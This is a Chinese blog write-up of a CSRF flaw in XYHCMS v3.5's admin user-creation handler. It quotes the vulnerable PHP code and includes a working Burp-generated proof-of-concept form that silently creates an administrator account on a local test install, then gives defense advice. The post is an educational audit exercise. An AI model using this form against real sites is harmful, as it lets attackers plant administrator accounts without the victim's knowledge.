- A+
所属分类:漏洞防御
前言
最近入坑了PHP代码审计,从网上下了几套CMS尝试着练习一下,不得不说现在还在更新的大多数CMS安全性还是不错的,动不动就是源代码加密,配置360、阿里云的过滤文件。。。还好折腾了一段时间后在一个CMS中发现了CSRF漏洞,也算是对这一阵子的学习有一个交代。
场景复现
后台页面
我们看一下添加系统用户的后台处理代码
public function addUser() {
if (IS_POST) {
//用户组
$group_id = I('group_id', array());
$department = I('department', array());
if (empty($department)) {
$this->error('请选择部门');
}
if (empty($group_id)) {
$this->error('请选择职位');
}
//M验证
$validate = array(
array('username', 'require', '用户名不能为空!'),
array('password', 'require', '密码不能为空!'),
array('password', '5,20', '密码必须在5到20位之间', 0, 'length'),
array('username', '', '用户名已经存在!', 0, 'unique', 1),
);
$data = M('Admin');
if (!$data->validate($validate)->create()) {
$this->error($data->getError());
}
$password = get_password($data->password);
$data->password = $password['password'];
$data->encrypt = $password['encrypt'];
$data->status = I('status', 0, 'intval');
$data->department = implode(',', $department);
$data->login_time = date('Y-m-d H:i:s');
$data->login_ip = '';
if ($id = $data->add()) {
$group_data = array();
foreach ($group_id as $key => $val) {
$group_data[] = array('uid' => $id, 'group_id' => $val);
}
$result = M('AuthGroupAccess')->addAll($group_data);
if ($result) {
$this->success('添加成功', U('indexOfUser'));
} else {
$this->error('权限设置失败|用户添加成功');
}
} else {
$this->error('添加失败');
}
exit();
}
$_vListOfDepartment = M('Department')->order('sorting ASC, id ASC')->select();
$vListOfDepartment = \Common\Lib\Category::toTree($_vListOfDepartment);
$vListOfGroup = M('AuthGroup')->where(array('status' => 1))->select();
$this->meta_title = "添加管理员";
$this->assign('vListOfDepartment', $vListOfDepartment);
$this->assign('vListOfGroup', $vListOfGroup);
$this->setAssign();
$this->display();
}
漏洞利用
添加系统管理员
可以发现,处理代码中没有token一类的随机数防御机制,可以尝试创建一个包含恶意代码的页面
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://127.0.0.1/daimashenji/xyhcms_v3.5_20180518/xyhai.php?s=/Auth/addUser" method="POST">
<input type="hidden" name="username" value="test" />
<input type="hidden" name="password" value="123456" />
<input type="hidden" name="department[]" value="1" />
<input type="hidden" name="department[]" value="4" />
<input type="hidden" name="department[]" value="3" />
<input type="hidden" name="group_id[]" value="1" />
<input type="hidden" name="realname" value="hello" />
<input type="hidden" name="email" value="111@qq.com" />
<input type="hidden" name="is_lock" value="0" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
使用登陆过管理员的浏览器点开该页面,回到后台,可以发现成功添加了新的管理员
防御建议
- 增加验证码机制
- 增加一个随机生成的参数token,后台处理时进行验证
ps:使用token时需要做好xss防御,如果攻击者找到xss漏洞,token也很有可能被窃取而导致防御失效
- 微信 wzgj360
- 联系免费答疑
- QQ 613049615
- 联系免费答疑